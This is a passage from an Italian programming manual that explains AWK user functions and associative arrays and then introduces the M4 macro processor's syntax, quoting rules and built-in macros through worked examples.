L'esempio mostra la dichiarazione di una funzione ricorsiva, per il calcolo del fattoriale. Si può osservare l'istruzione '**`return`**', che permette di stabilire il valore che viene restituito dalla funzione. Naturalmente sono ammissibili anche funzioni che non restituiscono un valore: queste non hanno l'istruzione '**`return`**'.

```
function somma( x, y, z, i ) {
    z = x
    for ( i = 1; i <= y; i++ ) {
        z++
    }
    return z
}
```

Un altro esempio può servire per comprendere la gestione delle variabili locali in una funzione. In questo caso si tratta di una funzione che calcola la somma dei primi due parametri che gli vengono forniti. I due parametri successivi, ***z*** e ***i***, sono dichiarati tra i parametri formali per essere usati come variabili locali; come si vede, la funzione non tiene in considerazione i valori che potrebbero trasportare.

In effetti, la funzione potrebbe utilizzare ugualmente le variabili ***z*** e ***i***, anche se queste non fossero dichiarate tra i parametri formali. In tal modo, però, queste variabili sarebbero globali, pertanto si potrebbero porre dei problemi di conflitti con altre variabili con lo stesso nome usate altrove nel programma.

```
#!/bin/awk -f
function somma( x, y, z, i ) {
    z = x
    for ( i = 1; i <= y; i++ ) {
        z++
    }
    return z
}
1 { print $1 "+" $2 "=" somma( $1, $2 ) }
```

Questo ultimo esempio mostra un programma completo per ottenere la somma dei primi due campi di ogni record fornito in ingresso.

26.6.8 Array

Il linguaggio AWK può gestire anche gli array, di tipo associativo, simili a quelli del linguaggio Perl. A seconda dell'uso che si vuole fare di questi array, ci si può anche «dimenticare» di questa particolarità di AWK, utilizzando i soliti indici numerici, che però AWK tratta come stringhe.

26.6.8.1 Dichiarazione e utilizzo di un array

La dichiarazione di un array avviene nel momento in cui vi si fa riferimento. In pratica, con l'istruzione seguente si assegna la stringa '**"ciao"**' all'elemento '**"2"**' dell'array '**a**':

```
a[2] = "ciao"
```

Se l'array non esiste già, viene creato per l'occasione. Nello stesso modo, se l'elemento '**"2"**' non esiste, viene creato all'interno dell'array.

In pratica, l'array di AWK è un insieme di elementi a cui si fa riferimento con un indice libero. Il fare riferimento a un elemento che non esiste, anche solo per leggerne il contenuto, implica la creazione di tale elemento. Come si può intuire, il riferimento a un elemento che non esiste ancora, crea tale elemento assegnandogli la stringa nulla, restituendo pertanto lo stesso valore.

L'esempio seguente crea un array un po' strampalato, con una serie di valori senza un significato particolare:

```
elenco["ciao"] = "Saluti"
elenco["maramao"] = 123
elenco[3] = 345
elenco[2345] = "che bello"
```

Si intuisce che gli elementi di un array AWK non hanno un ordine preciso.

> È importante tenere presente che non è possibile riutilizzare una variabile scalare come array; nello stesso modo, non si può riutilizzare un array come se fosse una variabile scalare. Se si tenta di fare una cosa del genere, l'interprete dovrebbe bloccarsi con una segnalazione di errore.

26.6.8.2 Scandire gli elementi di un array

La scansione degli elementi di un array AWK può essere un problema, se si pensa alla sua natura. Per esempio, dal momento che facendo riferimento a un elemento che non esiste, lo si crea implicitamente, si capisce che non si può nemmeno andare per tentativi. Per risolvere il problema, AWK fornisce due strumenti: l'operatore '**`in`**' e una variante della struttura di controllo '**`for`**'.

Per verificare che un array contenga effettivamente l'elemento corrispondente a un certo indice, si usa l'operatore '**`in`**', nel modo seguente:

```
indice in array
```

Per esempio, per verificare che esista l'elemento '**`prova[234]`**', si può usare un'istruzione simile a quella seguente:

```
if (234 in prova) {
    print "L'elemento prova[234] corrisponde a " prova[234]
}
```

Per scandire tutti gli elementi di un array si usa la struttura di controllo '**`for`**' in un modo particolare:

```
for (variabile in array) istruzione
```

In pratica, per ogni elemento contenuto nell'array, viene eseguita l'istruzione (o il blocco di istruzioni) che segue, tenendo conto che alla variabile viene assegnato ogni volta l'indice dell'elemento in corso di elaborazione.

È chiaro che l'ordine in cui appaiono gli elementi dipende dall'interprete AWK; in generale dovrebbe dipendere dalla sequenza con cui questi sono stati inseriti. L'esempio seguente, scandisce un array e mostra il contenuto di ogni elemento:

```
for (i in elenco) {
    print "elenco[" i "]  " elenco[i]
}
```

26.6.8.3 Cancellazione di un elemento

L'eliminazione di un elemento di un array si ottiene con l'istruzione '**`delete`**':

```
delete array[indice]
```

Alcune realizzazioni di AWK sono in grado di eliminare completamente un array, se non si indica l'indice di un elemento. In alternativa, si ottiene questo risultato con la funzione ***split()***, come si vede sotto. L'uso di questa funzione viene mostrato più avanti.

```
split("", array)
```

Considerato che per AWK l'eliminazione di un array è precisamente l'eliminazione di tutti i suoi elementi, si potrebbe fare anche come viene mostrato nello schema seguente:

```
for (variabile in array) {
    delete array[variabile]
}
```

26.6.8.4 Indici numerici e indici «nulli»

Gli indici di un array AWK sono delle stringhe, quindi, se si usano dei numeri, questi vengono convertiti in stringa, utilizzando la stringa di formato contenuta nella variabile ***CONVFMT***. Finché si usano indici numerici interi, non sorgono problemi; nel momento in cui si utilizzano valori non interi, la conversione può risentire di un troncamento, o di un'approssimazione derivata dalla conversione. In altri termini, due indici numerici differenti potrebbero puntare di fatto allo stesso elemento, perché la trasformazione in stringa li rende uguali.

L'indice di un array potrebbe essere anche una variabile mai usata prima. In tal caso, la variabile contiene la stringa nulla. Nel caso in cui questa variabile venga poi trattata in modo numerico, incrementando o decrementando il suo valore, per creare e fare riferimento a elementi dell'array che si vogliono raggiungere con indici pseudo-numerici, bisogna tenere presente che esiste anche l'elemento con indice '`""`'. Se si tenta di raggiungerlo con l'indice '`"0"`', si fallisce nell'intento.

```
1 {
    riga[n] = $0
    n++
}
END {
    for ( i=n-1; i >= 0; i-- ) {
        print riga[i]
    }
}
```

Si intuisce che il programma AWK che si vede nell'esempio serva ad accumulare tutte le righe lette nell'array '**`riga`**', quindi a scandire lo stesso array per emettere il testo di queste righe. Se si osserva con attenzione, di capisce che la prima riga non può essere ottenuta. Infatti, la variabile ***n*** viene utilizzata subito la prima volta, quando il suo contenuto iniziale è la stringa nulla, '`""`'; successivamente viene incrementata, facendo sì che quella stringa nulla venga intesa come uno zero, ma intanto è stato creato l'elemento '**`riga[""]`**'. Alla fine della lettura di tutti i record, viene scandito nuovamente l'array, trattandolo come se contenesse elementi da zero a '**`n-1`**'. Tuttavia, dal momento che l'elemento '**`riga[0]`**' non esiste, perché al suo posto c'è invece '**`riga[""]`**' che non viene raggiunto, si perde la prima riga.

26.6.8.5 Trasformare una stringa delimitata in un array

È molto importante considerare la possibilità di convertire automaticamente una stringa in un array attraverso la funzione interna ***split()***.

```
split( stringa, array [, separatore] )
```

In pratica, il primo parametro è la stringa da suddividere; il secondo è l'array da creare (nel caso esista già, vengono eliminati tutti i suoi elementi); il terzo, è il carattere, o l'espressione regolare, che si utilizza per separare gli elementi all'interno della lista. Se non viene indicato l'ultimo argomento, viene utilizzato il contenuto della variabile ***FS*** (come si può intuire). Dal momento che questo tipo di operazione è analoga alla separazione in campi di un record, anche in questo caso, se il carattere di separazione è uno spazio (*<SP>*), gli elementi vengono individuati tra delimitatori composti da sequenze indefinite di spazi e tabulazioni.

Il primo elemento dell'array creato in questo modo ha indice '**`"1"`**', il secondo ha indice '**`"2"`**', continuando così, di seguito, fino all'elemento ***n***-esimo.

```
split( "uno-due-tre", elenco, "-" )
```

L'esempio che si vede crea (o ricrea) l'array '**`elenco`**', con tre elementi contenenti le stringhe '**`uno`**', '**`due`**' e '**`tre`**'. In pratica, è come se si facesse quanto segue:

```
elenco[1] = "uno"
elenco[2] = "due"
elenco[3] = "tre"
```

Se non c'è alcuna corrispondenza tra il carattere, o l'espressione regolare, che si utilizzano come ultimo argomento, viene creato solo l'elemento con indice '**`"1"`**', nel quale viene inserita tutta la stringa di partenza.

26.6.8.6 Array pseudo-multidimensionali

Gli array di AWK sono associativi, pertanto non ha senso parlare di dimensioni, in quanto è disponibile un solo indice. Tuttavia, gestendo opportunamente le stringhe, si possono individuare idealmente più dimensioni, anche se ciò non è vero nella realtà. Supponendo di voler gestire un array a due dimensioni, con indici numerici, si potrebbero indicare gli indici come nell'esempio seguente, dove si assegna un valore all'elemento ideale «1,10»:

```
elenco[1 "s" 10] = 123
```

La lettera «s» che si vede, è solo una stringa, scelta opportunamente, in modo che l'indice che si ottiene non si possa confondere con qualcosa che non si vuole. In questo caso, l'indice reale è la stringa '**`1s10`**'.

AWK offre un supporto a questo tipo di finzione multidimensionale. Per farlo, esiste la variabile ***SUBSEP***, che viene usata per definire il carattere di separazione. Questo carattere è generalmente <*FS*>, che si esprime in esadecimale come $1C_{16}$ e in ottale come 34_8, corrispondente per AWK alla sequenza di escape '**`\034`**'.

Quando si fa riferimento a un elemento di un array, in cui l'indice sia composto da una serie di valori separati con una virgola, AWK intende che questi valori debbano essere concatenati con il contenuto della variabile ***SUBSEP***.

```
elenco[1, 10] = 123
```

L'esempio appena mostrato equivale in pratica a quello seguente:

```
elenco[1 SUBSEP 10] = 123
```

In generale, non è opportuno modificare il valore di questa variabile, dal momento che si tratta di un carattere decisamente inusuale, allo scopo di garantire che non si possano formare degli indici uguali per elementi che dovrebbero essere differenti.

Per verificare se un elemento di un array del genere esiste, si può utilizzare lo stesso trucco:

```
(indice_1, indice_2, ...) in array
```

26.7 Introduzione a M4

M4 è un elaboratore di «macro», nel senso che la sua elaborazione consiste nell'espandere le macro-istruzioni che incontra nell'input. In altri termini, si può dire che copia l'input nell'output, espandendo man mano le macro-istruzioni che incontra. La logica di funzionamento di M4 è completamente diversa dai linguaggi di programmazione comuni; inoltre, le sue potenzialità richiedono molta attenzione da parte del programmatore. Detto in maniera diversa, si tratta di un linguaggio macro molto potente, ma altrettanto difficile da gestire.

L'obiettivo di questa introduzione a M4 è solo quello di mostrarne i principi di funzionamento, per permettere la comprensione, parziale, del lavoro di altri, perché in generale **il suo uso è decisamente sconsigliabile**. Per citare un caso significativo, la configurazione di Sendmail viene gestita attraverso una serie di macro-istruzioni di M4, con le quali si genera il file '`/etc/sendmail.cf`'.

26.7.1 Principio di funzionamento

M4 è costituito in pratica dall'eseguibile '**`m4`**', la cui sintassi per l'avvio può essere semplificata nel modo rappresentato dallo schema seguente:

```
m4 [opzioni] [file_da_elaborare]
```

Il file da elaborare può essere fornito come argomento, oppure attraverso lo standard input; il risultato viene emesso attraverso lo standard output e gli errori eventuali vengono segnalati attraverso lo standard error.

Per iniziare a comprendere il funzionamento di M4, si osservi il testo seguente:

```
Ciao, come stai ? dnl Che domanda!

# Questo è un commento ? dnl Sì.

Oggi è una giornata stupenda.
```

Supponendo di avere scritto questo in un file, precisamente '`prova.m4`', lo si può rielaborare con M4 in uno dei due modi seguenti (sono equivalenti):

$ **`m4 prova.m4`** [*Invio*]

$ **`m4 < prova.m4`** [*Invio*]

In entrambi i casi, quello che si ottiene attraverso lo standard output è il testo seguente:

```
Ciao, come stai ?
# Questo è un commento ? dnl Sì.

Oggi è una giornata stupenda.
```

Tutto ciò che M4 non riesce a interpretare come una macro-istruzione rimane inalterato. Anche se il simbolo di commento è previsto e corrisponde a '**`#`**' (a meno che siano state usate opzioni o istruzioni particolari), i commenti non vengono eliminati: servono solo a evitare che il testo sia interpretato da M4.

L'unico commento che funzioni in modo simile a quello dei linguaggi di programmazione comuni è la macro '**`dnl`**' (è stata usata nella prima riga), con la quale viene eliminato il testo a partire da quel punto fino al codice di interruzione di riga successivo. Dal momento che viene eliminato anche il codice di interruzione di riga, si può vedere dall'esempio che la seconda riga, quella vuota, viene inghiottita; invece, il «dnl» contenuto nella riga di commento non è stato considerato da M4.

26.7.2 Convenzioni generali

L'analisi di M4 sull'input viene condotta separando tutto in «elementi» (*token*), i quali possono essere classificati fondamentalmente in tre tipi: ***nomi***, ***stringhe*** tra virgolette e caratteri singoli che non hanno significati particolari.

I nomi sono sequenze di lettere (compreso il trattino basso) e numeri, dove il primo carattere è una lettera. Una volta che M4 ha delimitato un nome, se questo viene riconosciuto come una macro-istruzione, allora questa viene espansa (sostituendola al nome).

Le stringhe delimitate da virgolette richiedono l'uso di un apice di apertura e di uno di chiusura ('`` ` ``' e '`'`'). Il risultato dell'elaborazione di una stringa di questo tipo è ciò che si ottiene eliminando il livello più esterno di apici. Per esempio:

```
`'
```

corrisponde alla stringa nulla;

```
`la mia stringa'
```

corrisponde al testo «la mia stringa»;

```
``tra virgolette''
```

corrisponde a «‘tra virgolette’».

È importante tenere presente che anche i simboli usati per delimitare le stringhe possono essere modificati attraverso istruzioni di M4.

Tutto ciò che non rientra nella classificazione di nomi e stringhe delimitate tra virgolette, sono elementi sui quali non si applica alcuna trasformazione.

I commenti per M4 rappresentano solo una parte di testo che non deve essere analizzato alla ricerca di macro-istruzioni. Quello che si ottiene è la riproduzione di tale testo senza alcuna modifica. In linea di principio, i commenti sono delimitati dal simbolo ‘**#**’ fino alla fine della riga, cioè fino al codice di interruzione di riga. M4 permette di modificare i simboli usati per delimitare i commenti, o di annullarli del tutto.

È il caso di soffermarsi un momento su questo concetto. Quando si utilizza M4, spesso lo si fa per generare un file di configurazione o un programma scritto in un altro linguaggio. Questi tipi di file potrebbero utilizzare dei commenti, ma può essere conveniente generare nel risultato dei commenti il cui contenuto cambia in funzione di situazioni determinate. Si immagini di voler realizzare uno script di shell, in cui notoriamente il commento si introduce con lo stesso simbolo ‘**#**’, volendo comporre il commento in base a delle macro-istruzioni; diventa necessario fare in modo che M4 non consideri il simbolo ‘**#**’ come l’inizio di un commento.

L’unico tipo di dati che M4 può gestire sono le stringhe alfanumeriche, indipendentemente dal fatto che si usino gli apici per delimitarle. Naturalmente, una stringa contenente un numero può avere un significato particolare che dipende dal contesto.

26.7.2.1 Macro

M4 è un linguaggio di programmazione il cui scopo principale è quello di gestire opportunamente la sostituzione di testo in base a delle macro-istruzioni. Tuttavia, alcune macro-istruzioni potrebbero servire a ottenere qualche funzione in più rispetto alla semplice sostituzione di testo. In generale, per uniformità, si parla sempre di «macro» anche quando il termine potrebbe essere improprio; per la precisione si distingue tra macro-istruzioni interne (*builtin*), che pur non essendo dichiarate fanno parte di M4, e macro-istruzioni normali, dichiarate esplicitamente.

Una macro-istruzione può essere «invocata» attraverso due modi possibili:

nome

nome (***parametro_1***, ***parametro_2***, ... ***parametro_n***)

Nel primo caso si tratta di una macro-istruzione senza parametri (ovvero senza argomenti); nel secondo si tratta di una macro-istruzione con l’indicazione di parametri. È importante osservare che, quando si utilizzano i parametri, la parentesi aperta iniziale **deve seguire immediatamente il nome della macro-istruzione** (senza spazi aggiuntivi); inoltre, se una macro-istruzione non ha parametri, non si possono utilizzare le parentesi aperta e chiusa senza

l'indicazione di parametri, perché questo sarebbe equivalente a fornire la stringa nulla come primo parametro.

La cosa più importante da apprendere è il modo in cui viene trattato il contenuto che appare tra parentesi, che serve a descrivere i parametri di una macro-istruzione; infatti, prima di espandere la macro-istruzione, viene espanso il contenuto che appare tra parentesi. Una volta espansa anche la macro-istruzione con i parametri ottenuti, viene eseguita un'altra analisi del risultato, con il quale si possono eseguire altre espansioni di macro-istruzioni, oppure si può ottenere la semplice eliminazione delle coppie di apici dalle stringhe delimitate. Le operazioni svolte da M4 per espandere una macro-istruzione sono elencate dettagliatamente di seguito.

1. Vengono suddivisi gli elementi contenuti tra parentesi ignorando gli spazi iniziali e includendo quelli finali. Si osservi l'esempio seguente:

   ```
   miamacro(a mio, d)
   ```

   Questo è equivalente a:

   ```
   miamacro(a mio,d)
   ```

2. Vengono espanse le macro-istruzioni contenute eventualmente tra i parametri. Continuando l'esempio precedente, si immagini che '**`mio`**' sia una macro-istruzione che si espande nella stringa:

   ```
   , b, c
   ```

   A causa della sostituzione di '**`mio`**', si ottiene in pratica quanto segue:

   ```
   miamacro(a , b, c,d)
   ```

   Infine, tutto si riduce a:

   ```
   miamacro(a ,b,c,d)
   ```

   Pertanto i parametri sono esattamente una '**`a`**' seguita da uno spazio e poi le altre lettere '**`b`**', '**`c`**' e '**`d`**'.

3. Una volta risolti i parametri, viene espansa la macro-istruzione.

4. Il risultato dell'espansione viene rianalizzato alla ricerca di stringhe delimitate a cui togliere gli apici esterni e di altre macro-istruzioni da espandere.

In un certo senso si potrebbe dire che le stringhe, delimitate come previsto da M4, siano delle macro-istruzioni che restituiscono il contenuto in modo letterale, perdendo quindi la coppia di apici più esterni. Questo significa che ciò che appare all'interno di una tale stringa non può essere interpretato come il nome di una macro-istruzione; inoltre, nemmeno i commenti vengono presi in considerazione come tali. La differenza fondamentale rispetto alle macro-istruzioni normali sta nel fatto che l'espansione avviene una volta sola.

Quando si usano le stringhe delimitate tra le opzioni di una macro-istruzione normale, è necessario tenere presente che queste vengono trattate la prima volta nel modo appena descritto, allo scopo di fornire i parametri effettivi alla macro-istruzione, ma dopo l'espansione della macro-istruzione avviene un'ulteriore elaborazione del risultato.

In generale sarebbe conveniente e opportuno indicare i parametri di una macro-istruzione sempre utilizzando le stringhe delimitate, a meno di voler indicare esplicitamente altre macro-

istruzioni. Ciò facilita la lettura umana di un linguaggio di programmazione già troppo complicato. In ogni caso, non si deve dimenticare il ruolo degli spazi finali che vengono sempre inclusi nei parametri. Per esempio, si osservi la macro-istruzione '**miamacro**':

```
miamacro('a' , 'b', 'c', 'd')
```

Questa ha sempre come primo parametro la lettera '**a**' seguita da uno spazio; a nulla serve in questo caso l'uso degli apici, o meglio, sarebbe stato più opportuno usarli nel modo seguente:

```
miamacro('a ', 'b', 'c', 'd')
```

È il caso di precisare che le sequenze di caratteri numerici sono comunque delle stringhe per M4, per cui '**miamacro(123)**' è perfettamente uguale a '**miamacro('123')**'. Tuttavia, dal momento che un nome non può cominciare con un numero, non ci possono essere macro-istruzioni il cui nome corrisponda a un numero; pertanto si può evitare di utilizzare gli apici di delimitazione perché sarebbe comunque inutile.

Le stringhe delimitate, oltre che per impedire l'espansione di nomi che corrispondono a delle macro-istruzioni, permettono di «unire» due macro-istruzioni. Si osservi l'esempio seguente:

```
miamacro_x'ciao'miamacro_y
```

L'intenzione è quella di fare rimpiazzare a M4 le macro-istruzioni '**miamacro_x**' e '**miamacro_y**' con qualcosa, facendo in modo che queste due parti si uniscano avendo al centro la parola «ciao». Si può intuire che non sarebbe stato possibile scrivere il testo seguente:

```
miamacro_xciaomiamacro_y
```

Infatti, in tal modo non sarebbe stata riconosciuta alcuna macro-istruzione. Secondo lo stesso principio, si può unire il risultato di due macro-istruzioni senza spazi aggiuntivi, utilizzando apici che delimitano una stringa nulla.

```
miamacro_x''miamacro_y
```

L'espansione delle macro-istruzioni pone un problema in più a causa del fatto che dopo l'espansione il risultato viene riletto alla ricerca di altre macro-istruzioni. Si osservi l'esempio seguente, supponendo che la macro-istruzione '**miamacro_x**' restituisca la stringa '**miama**' nel caso in cui il suo unico parametro sia pari a '**1**':

```
miamacro_x(1)cro_z
```

Espandendo la macro-istruzione si ottiene la stringa «miama», ma dal momento che viene fatta una scansione successiva, la parola «miamacro_z» potrebbe essere un'altra macro-istruzione; se fosse questo il caso, la macro-istruzione verrebbe espansa a sua volta. Per evitare che accada una cosa del genere si possono usare gli apici in uno dei due modi seguenti:

```
miamacro_x(1)''cro_z
```

```
miamacro_x(1)'cro_z'
```

Il problema può essere visto anche in modo opposto, se l'espansione di una macro-istruzione, quando questa è attaccata a un'altra, può impedire il riconoscimento della seconda. L'esempio seguente mostra infatti che la seconda macro-istruzione, '**miamacro_y**', non può essere riconosciuta a causa dell'espansione della prima.

```
miamacro_x(1)miamacro_y
```

Una considerazione finale va fatta sulle macro-istruzioni che non restituiscono alcunché, ovvero che si traducono semplicemente nella stringa nulla. Spesso si tratta di macro-istruzioni interne che svolgono in realtà altri compiti, come potrebbe fare una funzione *void* di un linguaggio di programmazione normale. In questo senso, per una macro-istruzione che non restituisce alcun valore, viene anche detto che restituisce *void*, che in questo contesto è esattamente la stringa nulla.

26.7.2.2 Definizione di una macro-istruzione

define(***nome_macro*** [, ***espansione***])

Come si può osservare dalla sintassi mostrata, la creazione di una macro-istruzione avviene attraverso una macro-istruzione interna, '**define**', per la quale deve essere fornito un parametro obbligatorio, corrispondente al nome della macro-istruzione da creare, a cui si può aggiungere il valore in cui questa si deve espandere. Se non viene specificato in che modo si deve espandere la macro-istruzione, si intende che si tratti della stringa nulla.

La macro-istruzione '**define**' non restituisce alcun valore (a parte la stringa nulla). Si osservi l'esempio seguente:

```
1 define(`CIAO', `Ciao a tutti.')
2 CIAO
```

Se questo file viene elaborato da M4, si ottiene il risultato seguente:

```
1
2 Ciao a tutti.
```

Come già affermato, '**define**' crea una macro-istruzione ma non genera alcun risultato, pertanto viene semplicemente eliminata.

Per creare una macro-istruzione che accetti delle opzioni, occorre indicare, nella stringa utilizzata per definire la sostituzione, uno o più simboli speciali. Si tratta precisamente di '**$1**', '**$2**',... '**$*n***'. Il numero massimo di parametri gestibili da M4 dipende dalla sua versione. I sistemi GNU dispongono generalmente di M4 GNU [5] e questo non ha limiti particolari al riguardo, mentre le versioni presenti in altri sistemi Unix possono essere limitate a nove.

Questa simbologia richiama alla mente i parametri usati dalle shell comuni; e con la stessa analogia, il simbolo '**$0**' si espande nel nome della macro-istruzione stessa.

```
1 define(`CIAO', `Ciao $1, come stai?')
2 CIAO(`Tizio')
```

L'esempio è una variante di quello precedente, in cui si crea la macro-istruzione '**CIAO**' che accetta un solo parametro. Il risultato dell'elaborazione del file appena mostrato è il seguente:

```
1
2 Ciao Tizio, come stai?
```

Prima di proseguire è opportuno rivedere il meccanismo dell'espansione di una macro-istruzione attraverso un caso particolare. L'esempio seguente è leggermente diverso da quello precedente, in quanto vengono aggiunti gli apici attorno alla parola «come». Il risultato dell'elaborazione è però lo stesso.

```
1 define('CIAO', 'Ciao $1, 'come' stai?')
2 CIAO('Tizio')
```

Infatti, quando la macro-istruzione '**CIAO**' viene espansa, subisce una rianalisi successiva; dal momento che viene trovata una stringa, questa viene «elaborata» restituendo semplicemente se stessa senza gli apici. Questo meccanismo ha comunque una fine, dal momento che non ci sono altre macro-istruzioni, come si vede nell'esempio seguente:

```
1 define('CIAO', 'Ciao $1, ''come'' stai?')
2 CIAO('Tizio')
```

Questo si traduce nel risultato:

```
1
2 Ciao Tizio, 'come' stai?
```

26.7.2.3 Simboli speciali

All'interno della stringa di definizione di una macro-istruzione, oltre ai simboli '**$*n***', si possono utilizzare altri codici simili, in un modo che assomiglia a quello delle shell più comuni.

$#

Rappresenta il numero di parametri passati effettivamente a una macro-istruzione:

```
define('CIAO', '$#')
CIAO
CIAO()
CIAO(primo, secondo)
```

L'esempio si traduce nel risultato seguente (si deve tenere presente che una macro-istruzione chiamata con le parentesi senza alcun contenuto ha un parametro costituito dalla stringa nulla):

```

0
1
2
```

$*

Rappresenta tutti i parametri forniti effettivamente alla macro-istruzione, separati da una virgola, ma soprattutto senza gli apici di delimitazione:

```
define('ECHO', '$*')
ECHO(uno,    due   , tre)
```

L'esempio si traduce nel modo seguente; si osservi l'effetto degli spazi prima e dopo i parametri:

```
uno,due  ,tre
```

`$@`

Rappresenta tutti i parametri forniti effettivamente alla macro-istruzione, separati da una virgola, con gli apici di delimitazione. La differenza rispetto a '**`$*`**' è sottile e l'esempio seguente dovrebbe permettere di comprenderne il significato:

```
define(`CIAO', `maramao')
define(ECHO1,`$1,$2,$3')
define(ECHO2,`$*')
define(ECHO3,`$@')
ECHO1(CIAO,`CIAO',``CIAO'')
ECHO2(CIAO,`CIAO',``CIAO'')
ECHO3(CIAO,`CIAO',``CIAO'')
```

Le ultime righe del risultato che si ottiene sono le seguenti:

```
maramao,maramao,CIAO
maramao,maramao,CIAO
maramao,CIAO,`CIAO'
```

26.7.2.4 Eliminazione di una macro-istruzione

Una macro-istruzione può essere eliminata attraverso la macro-istruzione interna '**`undefine`**', secondo la sintassi seguente:

```
undefine(nome_macro)
```

L'esempio seguente elimina la macro-istruzione '**`CIAO`**', per cui, da quel punto in poi, la parola '**`CIAO`**' mantiene il suo valore letterale:

```
undefine(`CIAO')
```

La macro-istruzione '**`undefine`**' non restituisce alcun valore e può essere usata solo con un parametro, quello che rappresenta la macro-istruzione che si vuole eliminare.

26.7.3 Istruzioni condizionali, iterazioni e ricorsioni

M4 non utilizza istruzioni vere e proprie, dal momento che tutto viene svolto attraverso delle «macro». Tuttavia, alcune macro-istruzioni interne permettono di gestire delle strutture di controllo.

Dal momento che il risultato dell'espansione di una macro-istruzione viene scandito successivamente alla ricerca di altre macro-istruzioni da espandere, in qualche modo, è possibile anche la realizzazione di cicli ricorsivi. Resta il fatto che questo sia probabilmente un ottimo modo per costruire macro-istruzioni molto difficili da leggere e da controllare.

26.7.3.1 Macro «ifdef»

```
ifdef(nome_macro, stringa_se_esiste [, stringa_se_non_esiste])
```

La macro-istruzione interna '**ifdef**' permette di verificare l'esistenza di una macro-istruzione. Il nome di questa viene indicato come primo parametro, mentre il secondo parametro serve a definire la stringa da restituire in caso la condizione di esistenza si avveri. Se si indica il terzo parametro, questo viene restituito se la condizione di esistenza fallisce.

L'esempio seguente verifica l'esistenza della macro-istruzione '**CIAO**'; se questa non risulta già definita, la crea:

```
ifdef(`CIAO', `', `define(`CIAO', `maramao')')
```

26.7.3.2 Macro «ifelse»

```
ifelse(commento)
```

```
ifelse(stringa_1, stringa_2, risultato_se_uguali [, risultato_se_diverse])
```

```
ifelse(stringa_1, stringa_2, risultato_se_uguali, ... [, risultato_altrimenti])
```

La macro-istruzione interna '**ifelse**' serve generalmente per confrontare una o più coppie di stringhe, restituendo un risultato se il confronto è valido o un altro risultato se il confronto fallisce.

Si tratta di una sorta di struttura di selezione ('**case**', '**switch**' e simili) in cui, ogni terna di parametri rappresenta rispettivamente le due stringhe da controllare e il risultato se queste risultano uguali. Un ultimo parametro facoltativo serve a definire un risultato da emettere nel caso l'unica o tutte le coppie da controllare non risultino uguali.

Nella tradizione di M4, è comune utilizzare '**ifelse**' con un solo parametro; in tal caso non si può ottenere alcun risultato, pertanto questo fatto viene sfruttato per delimitare un commento.

Segue la descrizione di alcuni esempi.

- ```
  ifelse(`Questo è un commento')
  ```
  Utilizzando un solo parametro, '**ifelse**' non restituisce alcunché.

- ```
  ifelse(`mio', `mio', `Vero', `Falso')
  ```
  Questa istruzione restituisce la parola '**Vero**'.

- ```
  ifelse(`mio', `mao', `Vero', `Falso')
  ```
  Questa istruzione restituisce la parola '**Falso**'.

26.7.3.3 Macro «shift»

```
shift(parametro[,...])
```

La macro-istruzione interna '**shift**' permette di eliminare il primo parametro restituendo i rimanenti separati da una virgola. La convenienza di utilizzare questa macro-istruzione sta probabilmente nell'uso assieme a '**$***' e '**$#**'.

```
shift(mio, tuo, suo)
```

Dall'esempio appena mostrato, eliminando il primo parametro si ottiene il risultato seguente:

```
tuo,suo
```

26.7.3.4 Macro «forloop»

```
forloop(indice, inizio, fine, stringa_iterata)
```

La macro-istruzione interna '**forloop**' permette di svolgere una sorta di ciclo in cui l'ultimo parametro, il quarto, viene eseguito tante volte quanto necessario a raggiungere il valore numerico espresso dal terzo parametro. Nel corso di questi cicli, il primo parametro viene trattato come una macro-istruzione che di volta in volta restituisce un valore progressivo, a partire dal valore del secondo parametro, fino al raggiungimento di quello del terzo.

```
forloop(`i', 1, 7, `i; ')
```

L'esempio restituisce la sequenza dei numeri da uno a sette, seguiti da un punto e virgola:

```
1; 2; 3; 4; 5; 6; 7;
```

26.7.4 Altre macro-istruzioni interne degne di nota

In questa introduzione a M4 ci sono altre macro-istruzione interne che è importante conoscere per comprendere le possibilità di questo linguaggio. Attraverso queste macro-istruzione, descritte nelle sezioni seguenti, è possibile eliminare un codice di interruzione di riga, inserire dei file, cambiare i delimitatori dei commenti e deviare l'andamento del flusso di output.
```

26.7.4.1 Macro «dnl»

```
dnl [commento] new-line
```

La macro-istruzione interna '**dnl**' è anomala nel sistema di M4: non utilizza parametri ed elimina tutto quello che appare dopo di lei fino alla fine della riga, comprendendo anche il codice di interruzione di riga. La natura di M4, in cui tutto è fatto sotto forma di macro-istruzione, fa sì che ci si trovi spesso di fronte al problema di righe vuote ottenute nell'output per il solo fatto di avere utilizzato macro-istruzioni interne che non restituiscono alcun risultato. La macro-istruzione '**dnl**' serve principalmente per questo: eliminando anche il codice di interruzione di riga si risolve il problema delle righe vuote inutili.

Teoricamente, '**dnl**' potrebbe essere utilizzata anche con l'aggiunta di parametri (tra parentesi). Il risultato che si ottiene è che i parametri vengono raccolti e interpretati come succederebbe con un'altra macro-istruzione normale, senza però produrre risultati. Naturalmente, questo tipo di pratica è sconsigliabile.

```
dnl Questo è un commento vero e proprio
define(`CIAO', `maramao')dnl
CIAO
```

L'esempio mostra i due usi tipici di '**dnl**': come introduzione di un commento fino alla fine della riga, oppure soltanto come un modo per sopprimere una riga che risulterebbe vuota nell'output. Il risultato dell'elaborazione è composto da una sola riga:

```
maramao
```

26.7.4.2 Macro «changecom»

```
changecom([simbolo_iniziale[, simbolo_finale]])
```

La macro-istruzione interna '**changecom**' permette di modificare i simboli di apertura e di chiusura dei commenti. Solitamente, i commenti sono introdotti dal simbolo '**#**' e sono terminati dal codice di interruzione di riga. Quando si utilizza M4 per produrre il sorgente di un certo linguaggio di programmazione, o un file di configurazione, è probabile che i commenti di questi file debbano essere modificati attraverso le macro-istruzioni stesse. In questo senso, spesso diventa utile cancellare la definizione dei commenti che impedirebbero la loro espansione.

L'esempio seguente cambia i simboli di apertura e chiusura dei commenti, facendo in modo di farli coincidere con quelli utilizzati dal linguaggio C:

```
changecom(`/*', `*/')
```

L'esempio seguente cancella la definizione dei commenti:

```
changecom
```

26.7.4.3 Macro «include» e «sinclude»

```
include (file)
```

```
sinclude (file)
```

Attraverso la macro-istruzione '**include**' è possibile incorporare un file esterno nell'input in corso di elaborazione. Ciò permette di costruire file-macro di M4 strutturati. Tuttavia, è necessario fare attenzione alla posizione in cui si include un file esterno (si immagini un file che viene incluso nei parametri di una macro-istruzione).

La differenza tra '**include**' e '**sinclude**' sta nel fatto che la seconda macro-istruzione non segnala errori se il file non esiste.

L'esempio seguente include il file 'mio.m4':

```
include('mio.m4')
```

26.7.4.4 Macro «divert» e «undivert»

